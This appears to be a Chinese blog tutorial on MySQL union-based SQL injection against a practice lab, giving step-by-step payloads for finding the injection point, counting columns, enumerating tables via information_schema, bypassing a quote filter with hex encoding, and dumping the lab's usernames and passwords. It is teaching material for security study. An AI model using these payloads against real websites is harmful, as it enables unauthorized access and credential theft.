热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

mysql联合注入

mysql注入-联合查询靶场一、注入流程判断注入点判断注入点本身所查询表的字段数确定显示位查询数据库名,mysql版本,当前账户查询该数据库的所有表名查询表名所对应的所有字段名查询

mysql注入 - 联合查询靶场

一、注入流程



  1. 判断注入点

  2. 判断注入点本身所查询表的字段数

  3. 确定显示位

  4. 查询数据库名,mysql版本,当前账户

  5. 查询该数据库的所有表名

  6. 查询表名所对应的所有字段名

  7. 查询字段名对应的字段值


二、靶场演示


2.1 判断注入点



  • payload:

    • ?id=1 and 1=2

    • ?id=1 and 1=1

    • 由下图我们可知,我们的代码成功的被执行,且为数字型注入

      01_mysql联合查询 - 判断注入点




2.2 判断注入点本身所查询表的字段数



  • payload:

    • ?id=1 order by 5 (页面返回正常)

    • ?id=1 order by 6 (页面返回出错)

    • 由下图我们可知,当前注入点所查询的表的字段数为5,这就要求我们在进行联合查询时,union关键字后面的select所查询的字段数应为:5

      02_mysql联合查询 - 判断字段数




2.3 确定显示位



  • payload:

    • ?id=1 union select 1,2,3,4,5

    • 由下图我们可知,确定的显示位有:1,2,3 ,共3个

      03_mysql联合查询 - 确定显示位




2.4 查询数据库名,mysql版本,当前账户



  • payload:

    • ?id=1 union select database(),version(),user(),4,5

    • sql语句解释:

      • database(),version(),user(),均为mysql的内置函数,分别用于返回“当前查询语句所查询的数据库名”,“mysql数据库的版本”,“当前登录mysql数据库的用户”



    • 由下图可知:

      • 当前数据库为:hackyl

      • 当前mysql数据库的版本为:5.0.51b-community-nt-log

      • mysql当前用户为:root@localhost

        04_mysql联合查询 - 查询数据库名,mysql版本,当前账户






2.5 查询该数据库的所有表名



  • payload:

    • ?id=1 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema='hackyl'

    • 由下图可以得知,我们payload中的额单引号被过滤了,导致sql语句执行失败。

      05_mysql联合查询 - 查询该数据库的所有表名



  • 绕过单引号的payload:

    • ?id=1 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=0x6861636B796C

    • 这里我们将“hackyl”字符串转化为了十六进制,就不需要加单引号了,但是该语句仍然可以让mysql数据库进行执行。

    • 由页面返回的结果可以看到,当前hackyl数据库拥有liuyan和user两种表,显然user表是我们所需要的。

      06_mysql联合查询 - 绕过单引号




2.6 查询表名所对应的所有字段名



  • payload:

    • ?id=1 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=0x75736572

    • 后面的 0x75736572 为“user”字符串的十六进制形式

    • 由页面的返回结果可知,其中的“username”字段和“password”字段正是我们所需要的。

      07_mysql联合查询 - 爆字段名




2.7 查询字段名对应的字段值



  • payload:

    • ?id=1 union select group_concat(username),group_concat(password),3,4,5 from hackyl.user

    • 由页面返回结果可以看出,user表中有三组账号密码,分别为:

      • hackyl/hacky,hacky2/hacky,hacky3/hacky

        08_mysql联合查询 - 爆字段值







推荐阅读
  • 本文介绍了在MacOS系统上安装MySQL的步骤,并详细说明了如何设置MySQL服务的开机启动和如何修改MySQL的密码。通过下载MySQL的macos版本并按照提示一步一步安装,在系统偏好设置中可以找到MySQL的图标进行设置。同时,还介绍了通过终端命令来修改MySQL的密码的具体操作步骤。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • PHP设置MySQL字符集的方法及使用mysqli_set_charset函数
    本文介绍了PHP设置MySQL字符集的方法,详细介绍了使用mysqli_set_charset函数来规定与数据库服务器进行数据传送时要使用的字符集。通过示例代码演示了如何设置默认客户端字符集。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 本文详细介绍了MysqlDump和mysqldump进行全库备份的相关知识,包括备份命令的使用方法、my.cnf配置文件的设置、binlog日志的位置指定、增量恢复的方式以及适用于innodb引擎和myisam引擎的备份方法。对于需要进行数据库备份的用户来说,本文提供了一些有价值的参考内容。 ... [详细]
  • 本文由编程笔记小编整理,介绍了PHP中的MySQL函数库及其常用函数,包括mysql_connect、mysql_error、mysql_select_db、mysql_query、mysql_affected_row、mysql_close等。希望对读者有一定的参考价值。 ... [详细]
  • ubuntu用sqoop将数据从hive导入mysql时,命令: ... [详细]
  • 如何在php中将mysql查询结果赋值给变量
    本文介绍了在php中将mysql查询结果赋值给变量的方法,包括从mysql表中查询count(学号)并赋值给一个变量,以及如何将sql中查询单条结果赋值给php页面的一个变量。同时还讨论了php调用mysql查询结果到变量的方法,并提供了示例代码。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • 基于事件驱动的并发编程及其消息通信机制的同步与异步、阻塞与非阻塞、IO模型的分类
    本文介绍了基于事件驱动的并发编程中的消息通信机制,包括同步和异步的概念及其区别,阻塞和非阻塞的状态,以及IO模型的分类。同步阻塞IO、同步非阻塞IO、异步阻塞IO和异步非阻塞IO等不同的IO模型被详细解释。这些概念和模型对于理解并发编程中的消息通信和IO操作具有重要意义。 ... [详细]
  • Oracle分析函数first_value()和last_value()的用法及原理
    本文介绍了Oracle分析函数first_value()和last_value()的用法和原理,以及在查询销售记录日期和部门中的应用。通过示例和解释,详细说明了first_value()和last_value()的功能和不同之处。同时,对于last_value()的结果出现不一样的情况进行了解释,并提供了理解last_value()默认统计范围的方法。该文对于使用Oracle分析函数的开发人员和数据库管理员具有参考价值。 ... [详细]
author-avatar
xljlg
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有